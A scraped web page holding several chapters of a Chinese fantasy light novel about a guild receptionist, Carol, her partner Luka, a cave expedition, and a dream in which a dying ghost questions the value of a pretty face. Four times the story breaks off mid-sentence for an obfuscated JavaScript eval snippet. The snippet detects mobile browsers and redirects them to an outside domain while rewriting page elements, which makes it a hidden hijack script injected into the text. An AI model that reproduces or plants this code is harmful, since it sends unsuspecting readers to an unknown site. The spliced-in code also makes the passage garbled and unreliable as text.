“我也没见过这种虫子。”查尔斯似乎刚亲眼目睹了衣鱼虫，“呜哇，真的好恶心。细长条，捏起来还会爆汁。” ……总觉得会没胃口吃晚饭呢……要不忘记这段话吧。 “大概是因为查尔斯你们家经常有人打扫卫生吧。”厨师姐姐头也不抬地继续分拣，“毕竟从你的穿着打扮还有挑剔的饮食习惯来看，你肯定是个有钱人家的小少爷。” 这点我也赞同。 “很明显吗？”查尔斯露出有点懊恼的表情，“怪不得我到沃尔德的一路上都有人向我请求帮助。我还丢了一件很喜欢的大衣。” “不会是呢绒布制成的吧。”我想起那件被放到行李箱里作为“青鬼”袭击我的证据保存的衣服和衣服碎片。 “是啊。”查尔斯更加气馁了，“卡萝小姐连这个也能看出来吗……” 不，其实只是碰巧遇见了穿着你很喜欢的大衣的家伙…… “算了，再买一件就好了。”查尔斯很快又振作了起来，“卡萝小姐，听说这个城镇的人们有流传一个故事哦！” 虽然并不是很好奇，但我还是洗耳恭听。 “据说，从三个月起，这座城镇就总有人中奖呢！”查尔斯拉过来一个小板凳，“有的是中了家具，有的抽中了大笔金钱，还有的获得了黄金之城的七日游全包券呢！” 即使从不寄希望于运气，但我还是忍不住打听这个抽奖活动的情报：“在哪里抽？什么时候？最高奖项是什么？” 查尔斯晃了晃手指：“据说，只有被选中的人才能前去抽奖。只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358410|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去抽奖就会必中。” “哈——”我没什么兴趣了，“那估计是商家之类的人传出来的消息吧。”中奖的人肯定都是托。 “不是哦。”查尔斯摇摇头，“我刚刚可是亲眼目睹了一个幸运儿的诞生呢。” 我不太喜欢这种卖关子要不断追问才能挤出来的消息，但是厨师姐姐很捧场地问：“然后呢？这位幸运儿去了哪里？抽中了什么？” “他就很突然地从我的眼前‘嗖’地一下消失了，再出现的时候，手上拿着一张抽奖券。上面写着‘休假一个月’。”查尔斯两手比划着，“然后！他的老板就走过来告诉他‘上个月很辛苦，所以给你放一个月的假期’，他就这样休假了！” “那么这个所谓的‘抽奖’，究竟有哪些奖项？感觉家具、金钱、旅游还算常见。但是休假……”不如说，幕后的这个人是如何控制抽中这个奖项的人可以休假的呢？ 不，卡萝，天上是不会掉馅饼的。这种毫无预警的休假实在是太可疑了。 但…… 如果说，像我这种接待员抽中休假资格的话，到底是由会长通知我然后帮我代班呢？还是总部寄信过来呢？如果真的休假的话，是从抽中奖的时刻开始计算还是总部的通知到达的时候呢？还是说背后的人可以提前控制好这个时间，让我在中奖的下一刻收到通知？ 另外，这个“嗖”的一下出现，是空间类的魔法吗……幕后的人又是怎么沟通的休假事宜呢……有点、只有一点点在意。 查尔斯忽然露出笑容，猛地上前：“哼哼哼，很好奇吧，很想知道原因吧，很想去抽奖吧！” “还好。”虽然确实有那么一点点想，但是我还是如常回答了。 “卡萝小姐别担心，我已经充分收集到了相关的线索了。接下来只要看我操作就好了！”他拍了拍胸脯，就闭上眼睛念念有词。 并没有打算偷听到念词之后就自己回去偷偷尝试的意思，我只是不小心听见了他念叨的内容：“我想抽奖，我想抽奖，我想抽奖，我想抽奖……” ……这样真的能成吗……我不禁陷入了怀疑。 在我质疑的下一个瞬间，查尔斯真的“嗖”地一下不见了。 眨眨眼睛的功夫，他就回来了，手上还拿着一张奖券。上面写着“幸运冒险者之证”。 ……真的假的……这不是十年才有一次的、全大陆随机抽选对象的、只要抽中了就可以凭此证去兑换冒险者证的、究极无敌超级幸运的人才能中的“幸运冒险者之证”嘛！ 虽然我是由听说前两个月有人中奖了没去兑换，结果会落在查尔斯手中！ “看吧，卡萝小姐！”查尔斯高兴地向我展示他手上的奖券，“按我说的肯定能中奖的！” 还没等我开口，旁边就有深深的吸气声，然后厨师姐姐就开始高速念词“我想抽奖，我想抽奖，我想抽奖……” 卢卡也缓慢地眨巴了一下眼睛，念叨：“我想、抽奖，我想、抽奖，我想……” 卢卡这么念真的能有用吗？我小小地质疑了一下，随后也忍不住加入这个队伍之中。 “我想抽奖……” 11. 工作法则十一 直到夜幕降临，到第二天启程，一直把“我想抽奖”这句话挂在嘴边的我也没能成功。 ……人果然不应该寄希望于运气。 带着淡淡的失望，我乘着马车来到了丹吉尔洞穴的入口。 丹吉尔洞穴的塌方还没有完全清理干净，只在侧边开出了一小条仅供一人通过的道路。 “那么，如果我们在晚上六点前还没从里面出来，你们中的一部分人就立刻启程去王都总部求救。剩下的一部分人随时等待着接应我们，其余的工作我之前都有安排过，应该都清楚怎么做吧？” “是！” 乔先生的下属们左手摸着心脏处弯腰敬礼，他们不会跟着我们进入丹吉尔洞穴。这是乔先生考量后的结果。 他认为这次探险是他私人的行程也是私下的行动，没必要让其他人跟着冒险。 如果我是乔先生的下属应该会很高兴能拥有这样善解人意的上司吧。 “那么，我们走吧，两位。” 我和卢卡一前一后将乔先生夹在了中间。不仅是因为他是我们的老板，更因为……他是一个比我还要柔弱的商贩。区别大概就是我能赤手空拳地打倒一只烈焰猪，而乔先生就算拿起武器也只会被魔物扑倒在地的这种程度。 卢卡打头阵，有他在的话至少能防住物理攻击。我在末尾，可以在逃跑的时候捞一把不善运动的乔先生，顺便给卢卡留出可以冲刺的空档。 当然，这些话是不可能告诉我们的雇主的。毕竟我们现在还没拿到定金，就算这一票干不下去了，要撕破脸皮也得把定金弄到手才行。 定金是先前说好的三倍市场价的三分之一——也就是正常的市场价。只有等这次成功离开洞穴后，乔先生才会把定金支付给我们。这是先前就说好的。 “停。”卢卡停住脚步，低声喊停后抽出了银剑挡在胸前。 我只觉得一股清凉的薄荷味掠过，并没有其他的事情发生。 “没事了。”打头阵的卢卡没有收起银剑，而是一手拿着剑，一手摸着墙壁向前行动。 负责照明提灯的是乔先生，毕竟他俩一前一后，乔先生又没什么大用，给他照明的任务也是提高一下他的参与感——最重要的是，我的个子就算提灯也不可能照到两个高个的前面。 当然，这些话依然是我和卢卡在私下里讨论的。 洞穴内部阴森森的，通道也十分狭窄。如果是会长大叔来这里的话，估计会卡在中间。 除了开始时停下让我们产生了些交流。后面的一路都很安静。整个洞穴只能听见乔先生的呼吸声和脚步声。 啊，并不是我和卢卡不用呼吸的意思。只不过我们有过这方面的专门特训，对于控制自己呼吸的轻重和脚步的音量都很有方法。 走了大约半小时，视野突然辽阔了起来。看来塌方的位置比较靠近外部，里面受波及的地区不大。 乔先生似乎也是这么想的：“这样子的话，里面的宝藏应该没有因为塌方损毁。” “丹吉尔洞穴有露天的部位吗？”想起在小镇上听闻的事情，我开口询问了对这个洞穴了解最多的乔先生。 “据我所知，没有。”乔先生提着照明的手一顿，“怎么想起来问这个？” “我只是觉得如果有露天的位置，可以从上方直接进入内部，能够更加顺利地探索而已。”也没有说谎啦，除了露天的位置可以让月亮射进洞窟内，还有一个好处不就是从上方进入吗？而且如果风景不错的话，把这里开发成从上方欣赏风景的景点也不错。 “这样，我还以为你想要知道夜月草的位置呢。”乔先生一直跟着卢卡向前进，我从后面看不见他的表情，“我唯一清楚位置的就是夜月草。” ！听到这个消息，我忍不住抬起头：“能告诉我在哪吗？” 现在没有必要隐瞒自己找夜月草的消息，而且就算他知道了也不会猜到我要拿来做什么，只会猜测—— “我劝你还是放弃比较好。夜月草现在的市场前景很不好。”乔先生摇摇头，“黄金之王先前的大批收购让很多人以为这是个商机，结果她在夜月草的价格炒得最高的时候抛售了手头上的所有夜月草，导致后面的价格崩盘。” “她这么做会惹人记恨的吧。”虽然是没必要的担心，“有什么非这样做不可的理由吗？” “谁知道呢。”乔先生语气淡淡，“毕竟是‘黄金之王’，想法和我们普通商贩不一样也很正常吧。或许，她根本不在乎是否有人记恨呢。” 说来也是，统治着“黄金之城”的“黄金之王”怎么可能因为无名之辈的记恨就放弃大把的商机呢…… “总要试试看，万一找到了极其稀有的夜月草还可以送到‘黄金之城’当门票。”我随便编了个理由继续打听着夜月草的位置。 “乐观是很好。位置就在我们过会要路过的水池边上。”乔先生迟疑了一会儿，“虽然我知道位置，但我并不清楚夜月草长什么样。” “那你是从哪里得知的位置？”我还以为乔先生清楚夜月草的模样呢。 他有些不好意思地说：“事实上，原本收购那幅画就是为了采夜月草的。毕竟那时候‘黄金之王’正在大量收购嘛……后来从卖家嘴里打听到了位置，不过这时候已经没有采集的必要了……” 啊，所以乔先生提起黄金之王才有种淡淡的幽怨感啊…… “正好，就在这里。”乔先生转身，让提灯照亮整个洞穴，“不过这里的药草种类……挺多的，你们打算怎么办？” 怎么办？当然是全都要啊。 我从包里拿出挖药草的小铲子，和卢卡一起一人一边挖了起来。乔先生就负责站在原地给我们照明。 这时候就很庆幸自己换了一身可以自由行动的衣服，由于走得匆忙，我带的衣服并不多。身上这件还是卢卡买的——不过现在就要被我弄脏了……啊，他的披风也蹭在地上……到了王都好好洗洗吧。 挖到整块草坪都变得光秃秃之后，我和卢卡才收手：“好了，这样子应该足够了。” 等出去之后再考虑是慢慢分辨出夜月草还是全部榨成汁水涂在脸上吧， 挖草药耗费的时间并不多，毕竟我们早已练成了迅速挖野菜的功夫。每天去公会的后山晨练时挖个野菜，最慢也只要半个小时。 “现在也才过了三个小时的样子。”我借了卢卡的怀表确认了时间，“要继续前进吗？” 一方面有我更想出去试试传说中可以解除所有幻术的夜月草的功效，另一方面，虽然我们进来的时间不长但是根据乔先生的说法已经进入到相当深的位置了。再往里可能会有危险。 即使我信任卢卡，也不能轻易说出在赶路多日没有充足休息的情况下他有余力在战斗的同时保护好乔先生。 而且从先前进过洞穴的人来看，居住在这个洞穴里的魔物（姑且称之为魔物吧）更擅长精神攻击。对于更擅长物理战斗的卢卡来说并不容易。 在我看来还是及时撤离，准备充足再探索一次为妙。毕竟一路过来的路上也没有合适的精神防御道具， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358411|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是得去大城市采购一番。 我和卢卡在乔先生身边站定，打算听取他的意见。 似有若无的薄荷香气划过鼻尖，似乎是乔先生身上的味道。 “……”不知为什么，乔先生一直盯着我。 我身上有哪里很奇怪吗……还是说刚刚挖药草的时候脸上沾上了泥土？ 和卢卡对视后，从他寻常的表情来看，应该是没有的。 啊……不会是面具的事情暴露了吧……说起来，我刚刚确实因为戴着兜帽挖土很费劲就把帽子摘下了来着……虽然一挖完就带上了，但也不能保证乔先生有没有从幽暗的灯光下发现什么端倪…… “……回去吧。”盯到我感觉汗毛耸立，乔先生才收回视线宣布收工返回。 嗯，乔先生这点就很好。他有着“大人的体谅之心”，能够允许合作对象拥有小小的秘密。就算真的发现什么不对劲，他也不会直说出口。 原路返回又耗费了不少时间，但我们从洞穴出来也才将将四点。 “去王都。”和平时不同，乔先生简单下了命令就捂住心脏上了马车。 我和卢卡对视了一眼，总觉得有些不对劲。 “不应该吧……”我回忆着在洞穴中的一举一动，好像没有特别可疑的地方。就算是精神类攻击也得先近身吧……而且我或者卢卡作为首选才更符合逻辑吧？毕竟我们一个是明显的队伍中的最强者，一个是看起来最弱小的女性。 但是这不是应该或者不应该……而是事情已经发生了…… 我拉着卢卡敲了敲乔先生的车门：“乔先生，请问您现在有时间吗？” 编一个需要和乔先生谈话的理由并不困难，首选就是——“关于下一次进入洞穴的事宜，想和您简单探讨一下。” 如果这时候被回绝了，那百分之八十是有问题的。这种情况我就会拉着卢卡冲进去，就算只有百分之二十安全的可能也不可以赌。要是被接受了的话，大概率没有问题。 一般精神类的攻击生效也是需要时间的，这种时候如果有其他事情转移了注意就会拖延甚至中断攻击生效。 意外的是，车内传来了声音：“请进。” 我不确定地看了卢卡一眼，用眼神问他“要进吗？” 卢卡用清澈的眼神回答了我——他根本没懂我的眼神暗示。 该死——忘记面具还戴在脸上了。 “卡萝小姐？”乔先生的声音催促着我快点做出决定。 进还是不进呢……说实话，我的脑子里对于下次如何探查洞穴还是一头雾水啊……我真的讨厌动脑子。 深吸一口气，我推开门走了进去。 没关系，桥到船头自然直。都说人在压力下脑筋会转得更快，我就这样期待着待会的自己能够解决这个问题吧。 “关于下次探查的方针，我认为还是要先备好探测装置，比如能够感知到周围魔物反应的仪器……” 再一次出乎意料的是，乔先生在我们一进去后就侃侃而谈他的计划。似乎是早就筹备好了。 “……就是这样，你们有什么需要补充的吗？” 面对他的问题，我们同时摇头：“没有/没。” “好的，那我有一个问题。”乔先生点点头，把目光放在了我的身上。 又来了又来了……那种奇怪的视线，感觉和在洞穴中差不多。 “接待员小姐，请问你的择偶标准是什么？” “哈？”我有一瞬间怀疑自己的耳朵是不是出了问题。 12. 工作法则十二 “抱歉，您说什么？” “卡萝小姐，你的择偶标准是什么？” ……我的耳朵好像没出问题。出问题的似乎是乔先生的脑子。 为什么会突然问这个问题啊……虽然我是能给出一个答案没错，但这个问题是为了什么……测试？陷阱？ “卡萝。”卢卡拽了拽我的衣袖，“择偶、标准、什么？” 是哦，车里还有个人。 卢卡会问出这个问题并不奇怪，他识字说话还有一些基本常识都是我教的，之前没想过这方面的事情，所以也就没有教过他。 不过这倒是给了我一个糊弄过去的借口：“择偶标准（mateselection）啊，应该是在说这个车门的部分（gatesection）吧，我觉得还不错的样子，如果公会的大门也能有这个质量就好了。” “总之，我们会在之后执行您的计划的，乔先生。就不继续打扰您了……”迅速道别、关上门、拽着卢卡回到了自己的马车上，我感觉太阳穴涨涨的很痛——也就是俗称的头疼。 “我觉得乔先生绝对不对劲。”虽然证据不充分，而且只是我的个人直觉，但我还是认为不对劲。 可是他的反应也不像是失去了什么情绪……倒不如说平时这个人也是不怎么喜形于色的性格。要说反常，最奇怪的就是会跟我们分享后续的探索计划吧……毕竟从他的描述来看即使他自己一个人完成（当然，我和卢卡的保护还是必要的）也没有问题。啊，还有那个奇奇怪怪的问题。 “所以、择偶、标准、什么？”卢卡没被糊弄过去，乖乖坐在对面等着我的解释。 真是的，偏偏在这种时候这么自觉乖巧。 “择偶标准啊，就是喜欢的类型吧。” “卡萝？” “嗯？你问我的标准吗？”我是喜欢那种街边被雨淋湿的小狗类型，但是这么说的话感觉以卢卡的语言水平理解不了吧…… “……还是狗狗最可爱吧。”我想了想回答，“毕竟狗狗很乖很听话绝对不会背叛，捡回来的小狗之后也会更加黏人，而且只要每天带出去散步就好，食物准备起来也不麻烦。”最重要的果然还是——毛绒绒吧。 “哦。”卢卡点点头，他看起来也很赞同我的想法，狗狗是最可爱的吧！ 啊，不对，这些不是重点啊喂。 我从袋子里翻出来药草，掏出工具让卢卡帮我一起研磨：“还是得先把面具卸下来，之后还得去观察一下乔先生还有没有异常举动。”机会合适的时候还可以把多余的药草汁水抹到他身上看看是不是中了什么奇怪的幻术。 研磨是件很枯燥无聊的任务，但在晃荡的马车上反而成了打发时间的办法。 药草的种类很多，量也不小，分类也是件麻烦事。我们两个都对药草比较陌生，卢卡这种受伤就灌药水治疗的人暂且不提。像我们公会常年只有讨伐类任务，采集药草这种探索任务几乎就不存在于我们公会的任务板上，我根本也没有什么机会认识药草。 “干脆混合在一起吧。”看着青青绿绿的一堆药草，我决定直接捣出汁水。反正只需要“夜月草”就可以解除幻术了，而且抹在脸（面具）上也不用口服，中毒的风险很小。 把药草全部推进了碗里，但是还没捣一会儿我就觉得手臂酸痛了。 “卢卡，交给你了。”我把东西都放到卢卡那边。绝对不是因为我累了，也不是因为我觉得麻烦哦，只是我认为这种有趣的事情也要让卢卡参与一下而已。 靠在座位上，估算着大约还要一个小时才能到达，我干脆闭上眼睛休息一会儿。 直到轻微的摇晃感消失，车轮声止住，我才睁开眼睛——终于到了。 卢卡的腿上摆着一瓶绿色的药水，看起来是他在我睡着的时候磨好的。 我揉了揉他的脑袋夸奖：“好棒好棒，乖孩子。” 嗯，这还是我从育儿手册上学来的。据说每次拜托孩子完成一件事后就要给予相应的鼓励，这样小朋友之后会更有干劲。 将瓶子放进随身的行李中，我们下车走进了旅馆，里面的豪华程度和我们之前时不时就露宿野外的睡袋成了鲜明的对比。 出于好奇，我偷偷瞄了一眼价目表，被那惊人的数字震撼到了。 “卢卡。”我有些凝重地在卢卡耳边说话，“如果不是总部报销费用，我觉得我们这辈子都住不上这么贵的酒店。” 不开玩笑，虽然卢卡每次的任务委托费用很高，但是维持一家公会的运转也并不简单，而且我们公会三分之二的任务都是靠卢卡完成的。啊，顺便一提，公会维持是靠卢卡赚的钱和我的工资。 就在我们说悄悄话的时候，旅馆前台招待分发了钥匙。 “这是卡萝小姐的。”招待员微笑着将钥匙双手递到我面前，“您的房间在三楼左侧的第三个房间。” “谢谢。”钥匙也制作的十分精良。 卢卡正好住在我隔壁，我们带着行李进到自己的房间。 到达的时间已经是晚上了，就算总部会加班欢迎我们我也不会去打扰的。毕竟真心微笑营业和期待客人赶紧离开下班的假笑我还是能分得清的。不是因为个人经历，不是哦。 回到房间，第一件事果然还是得洗澡吧。长途跋涉了好几天，就算中间有过停靠城镇的日子也没有充足的时间清洗。能够每天简单擦一擦身子已经很不错了。 豪华酒店的浴室也是相当的豪华，巨大的浴缸简直可以躺三个人了。 洗了一个热腾腾的澡，从浴室走出来，我拿出那瓶集合了各种药草的药瓶，将绿色的汁液抹在了脸上。 神奇的是，当我把汁水抹在整张脸上后，那股脸上戴着什么东西的异样感就消失了。再触摸脸，就只有柔软的肌肤触感了。 ！看来真的解除了！话说这面具还真是幻术啊！ 我等不及要告诉卢卡这个好消息……了…… 眼皮一沉，仿佛陷入了什么奇怪又柔软的地方，在不停地旋转后才脚踩到实地。 梦境？我看着明显小了一圈的手掌和四周高大的树木做出了判断。 幻术有两种，一种是针对人的、一种是针对场景的，不可能同时对人和场景生效。所以唯一的可能就是梦了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358412|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还是第一次做梦，不免觉得有些新奇。 可惜在靠近河流想要欣赏一下小时候的我时，这种新奇感碎成了渣渣。 “这谁啊……”看着河水中陌生的脸，我不由得感到迷茫。 但是声音还是我的声音，衣服也是小时候我穿过的衣服，这里的树林看上去也像是公会的后山。所有都和以前一样——除了我的脸。 “如果换了一张脸，你还能受人欢迎吗？”虚无飘渺的声音在脑海中响起。 嗯？这声音听着怎么那么像青鬼？那家伙不是死掉了吗？ “我才没死！” 哈……竟然还偷听别人的心声，好没素质啊。 “我才没有偷听！是你的心声自动传到我耳朵里的！” “所以你还活着？”我觉得这家伙是死得透透的了，应该是凭借了什么留存了最后一丝力量，等时间过了，这家伙就自然消散了。 “……你说得没错。”青鬼的声音幽幽响起，“我用最后的力量化成了面具，原本想要通过面具凭依你的，结果你的身体就像一个巨大的防护罩，根本进不去。” 喂，不要擅自对别人的身体产生想法啊你。 “‘夜月草’的汁液抹上来的那刻，我的身体也逐渐瓦解了，会变成这样果然还是那堆药草里混了别的东西吧！你到底都采了什么药草啊！让我死也死得痛快一点不行吗！” ……所以说我根本不认识药草啊。 “不认识的药草你也该往脸上抹！”青鬼气呼呼地说，“算了，反正我都要死了，就让我在死之前解开最后一个困惑吧！” 你说吧，虽然我对能否给出答案也没有把握。 “不需要你的答案，我只需要看着就好了。” 哦，所以你想知道脸能对一个人起多大的作用吗？ 青鬼的声音变得困惑：“我每次换脸都是因为他人对我的质疑。有人说我这张脸朴素，那我就换一张华丽的脸。有人认为清秀的脸更美，那我就换成隔壁那个小镇的姑娘。说我的脸寡淡无味，那就换一张公认的美人脸。指出眼角拥有细纹，那我再换成没有皱纹的年轻面庞。但不管我怎么换，总会有人说我的脸不好看，不能受到所有人的欢迎。” “原本想着最后换成一张受欢迎的人的脸就好，听说沃尔德镇上最受欢迎的人就是那个圆圆的大叔，所以我想换成他的脸。结果实在是不符合我的审美。” “所以你看上了我？”我对他的说法勉强能够接受，“我觉得你搞错的地方太多了。” “随便你怎么想吧，光靠说的是没办法说服我的。”青鬼冷哼一声，“我的力量确实剩的不多了，但是把你困在这里睡上个几天还是没问题的。如果不想进医院花上大笔费用，就老实听我的话。” ……这家伙，还真是精准地掌控了我的命脉啊。 “行吧，所以我要怎么做？” “你现在回公会，正常地和身边的人交流就行。”青鬼说完最后一句话，就不再回应了。 我觉得他应该是躲到哪个角落偷窥去了。 算了，为了不花冤枉钱，还是赶紧把事情解决吧！ 13. 工作法则十三 平安回到公会，站在后门似乎在等什么人的会长大叔看到我似乎整个人都松懈了下来。 “真是的，你这孩子跑到哪去了。”会长大叔啰啰嗦嗦地推开后门，搓了两把我的头发，“不是说和卢卡一起晨练吗？怎么突然丢下他自己跑掉了。” “卢卡呢？”我探头看向大叔的身后，却没看见人影。 会长大叔忍不住敲了敲我的脑袋：“那孩子以为自己被丢掉了，现在还埋在被窝里哭呢。” 说起来，小时候的卢卡确实是个小哭包。梦境竟然连这个也还原了吗…… “那当然。”青鬼的声音不知道为何又冒了出来，“所有人的行为逻辑都是根据你的印象来的。” 向我得瑟完后，他不知道为什么又消失不见了。 今天是几号来着，日历、日历……啊，是五月份啊，没记错的话是捡到卢卡后的第三个月。 这样的话就得去哄一下了，如果已经认识超过一年多还担心自己被抛弃的话我觉得那就得从他自己身上找原因了——如果要丢肯定早就丢掉了，谁会养了一年多才把人扔了，不说感情，就算是沉没成本也有一大笔了啊！ “卢卡——”敲了敲门，屋里传来噼里啪啦的动静，还“咚”地响了一声。 开门的卢卡捂着脑门小心翼翼地看着我：“卡萝……” 把他的手挪开，脑门上有很明显的红痕，估计是刚刚开门的时候“咚”的一声摔的。 “晨练的时候把你独自留下对不起。”我认认真真地道歉，育儿手册上说，不能因为所谓的“家长的权威”而耻于向孩子认错，我认为这个说法很对。 “卡萝！”卢卡“汪”地一声哭了然后紧紧抱住我。 “卡萝、卡萝……”他不停地喊着我的名字，像个小狗一样蹭着我的脸。 拍了拍他的后背安慰，我觉得是时候该给他增加课业了——虽然才开始学说话三个月，但是只会说“卡萝”“没有”“好的”这几种词还是不太行啊……而且就是因为我小时候偷懒没有认真教学才让卢卡到长大了也只能一个一个词地往外蹦！果然教育还是得从孩子抓起！ 小孩子比大人好哄很多，道歉之后很快就能被原谅。 忽视了黏在我背上还比我高一截子的挂件，我找到会长大叔督促他赶紧干活。 “现在已经快八点半了，你怎么还在慢慢悠悠地吃饭啊。”我拍着大叔的大腿催促，“九点就要开门营业了，你作为接待员要快点做好准备啊。” 在我接手接待员这个职位之前，会长大叔一直兼任着这一工作。其实我是不介意早早帮忙的，但是总部有规定，16岁以下且没有资格证是不能担任接待员的。 坐在椅子上，身材还没有变成圆滚滚形态的年轻大叔咽下抹着果酱的吐司，又塞了一口煎蛋才从餐桌上离开：“知道了知道了。你这孩子真是的，我这么晚吃饭都是因为谁啊……” 啊，难道是因为担心我所以没来得及吃饭吗……那还真是抱歉，但是工作还是要做的哦大叔，今天破例帮你解决一半。 拖着小挂件把卡在公会大门上的木板取了出来，推开大门，把营业的牌子摆好。 这个时期的公会才刚刚起步，所以并不会有人上门，但是工作并不是只有接待客人这一项。总部的文件、每月的报告、任务的更新同步……全部都要由接待员完成。 但，同样的，因为工会刚刚起步，这些工作并不繁重，是爱偷懒的会长大叔一个人每天都能完成的工作量。所以我刚刚说的帮忙指的并不是这些工作，而是—— “您好，有兴趣的话请您关顾沃尔德分会。”站在街边，我举着“沃尔德分会开张！”的牌子吆喝着路人，卢卡站在我的旁边派发传单。 “您好，有兴趣的话……” “起开！”一位男性冒险家不耐烦地把我推到一边。 因为我还没有锻炼出结实的身体再加上小孩子和成年人的体型差距，所以我一下子就失去了平衡向后跌去。 卢卡扔下传单接住我：“卡萝！” 稳住平衡后，我摸摸他的脑袋：“没事。” 弯下身捡传单的时候，我也陷入了迷惑之中——以前也是这样发传单宣传的，但是并没有态度这么恶劣的人啊…… “哼，所以说，除了脸也就这种程度嘛。”青鬼这时候冒出来看笑话。 是这么回事啊。 有了青鬼的提醒，我恍然大悟。所以说以前那些冒险者会笑眯眯地接过传单原来是因为脸吗！ 青鬼愤愤不平：“所以，人类就是只喜欢漂亮的脸蛋！” 对于青鬼的说法，我持保留意见。毕竟我觉得会长大叔无论以前还是现在都很帅气，可能是因为家人的滤镜吧…… 和卢卡继续着派送传单，即使只是礼节性地收下我们的传单转头就扔到地上也没关系。我们会偷偷捡回来还算干净的传单重复利用。倒不是因为抠门，只是单纯地穷而已。 传单全部是我们三个人一字一句写出来，一笔一画完成的，所以融入了很多心血，能不浪费就不浪费。可能会有点对不起真心收下传单的客人们，对此我很抱歉。 传单并没有派送完，松了一口气的同时也有点失落。为了不用熬夜绘制传单高兴，又因为没什么人搭理我们感到遗憾。 “今天也没什么收获啊……”会长大叔托腮看着我们并不太明朗的表情，“没关系没关系，慢慢来就好。” “虽然这么说，但是我们也已经开业半年了。除了镇上的人们会看在大叔你的面子上特地来捧场，根本就没有外地的冒险者过来嘛。”把还很厚的传单放在桌子上，我第一次因为宣传过于不顺而苦恼。 大叔揉了揉我的脑袋：“不要泄气，只不过是一天的失败而已。人生是很长的。” “那还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358413|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不当人比较好。”我小声嘟囔了一句，在发现出言不对后慌忙解释，“不是、那个……” 大叔怔愣了一下摇摇头：“没关系，我明白你的意思。”他拉开椅子坐了下来：“再发一周的传单，如果仍然不起效的话我们或许可以试试别的方法。” 似乎是因为身体变小了，脑袋跟不上想法，所以会说出不那么像大人的话。我扯了扯自己的脸，希望这张嘴别在乱说话了。 关于大叔说的其他办法我有一点头绪。那本来是作为备用方案的，结果小时候出门发传单前忘记把我洗脸时揽住碎发的发箍摘下了，然后莫名其妙的，沃尔德分会有位可爱的兔子小姐的事情就越传越广了。从那之后我也习惯每天早上戴上发箍了。 现在的情况肯定不是带个发箍就可以解决的了，得寻找其他的、能够引起他人兴趣的点才行。 “资格证考试？”会长大叔听完我的想法后十分不赞同，“你忘了总部的规定吗？资格证考试只有年满十六岁的人才能参加。” “可是也没人知道我的具体年龄。”我强调，“总部的规定是说要年满十六岁的人类才可以，没说矮人不行吧。” 会长大叔似乎被我的聪明才智说服了，他张着嘴巴支吾了半天：“不是、你、你有想过以后长高了怎么办吗？这样算种族造假吧！” “长高了就说是判断失误，大叔只要强调当时是从被灭族的矮人村里面把我带出来的这点所以把我当作矮人这一种族就好了。”而且这是梦境，只要逻辑能应付过去就好。 “你这孩子……”大叔叹气，“可是这样一来对你没有任何好处吧？毕竟你也不是矮人，而且原本还在玩的年纪就工作……” “没关系。”我真的不是很在意这点，“打着矮人的旗号和凄惨的身世说不定能引来更多的人。”而且我又没有说谎，只是隐瞒了一些信息而已。 “好吧好吧。”会长大叔举起双手投降状，“你想做就去做吧。” 决定了资格证考试这件事，备考的过程也比我想象的轻松，毕竟已经有过一次经验了。 在临行前，我十分认真地和卢卡解释了我要去王都考试。上次没能讲明白，让他偷偷跟上了马车，这次说什么也不能…… “卡萝……”卢卡眼睛里蓄着眼泪，扯着我的衣摆不愿意撒手。 我举起双手投降：“好吧好吧，也带你一起去，别扯衣服啦。”这孩子天生怪力，一个激动就能让我这件衣服报废。 把挂件也带上马车，会长大叔似乎毫不意外：“我就说吧，卢卡肯定也要跟着的。” “……”对此我只能用沉默应对。 我是不是太纵容卢卡了，说起来我以前是没那么好说话的吧……感觉是因为小时候的卢卡就像一只刚带回家的小狗狗，稍微哼唧两句就能让人心软了。嗯……果然还是太纵容了吧，从梦里醒过来之后可不能也这么对大卢卡了。 14. 工作法则十四 也许是青鬼耍了什么小手段，只是眨个眼的功夫，马车外就传来了车夫的声音：“到了——” “哼，马车上的生活无聊死了。前些天你们在马车上不也没有发生什么有趣的事不是吗？” 原来你一直在啊，没有偷窥我洗澡吧？ 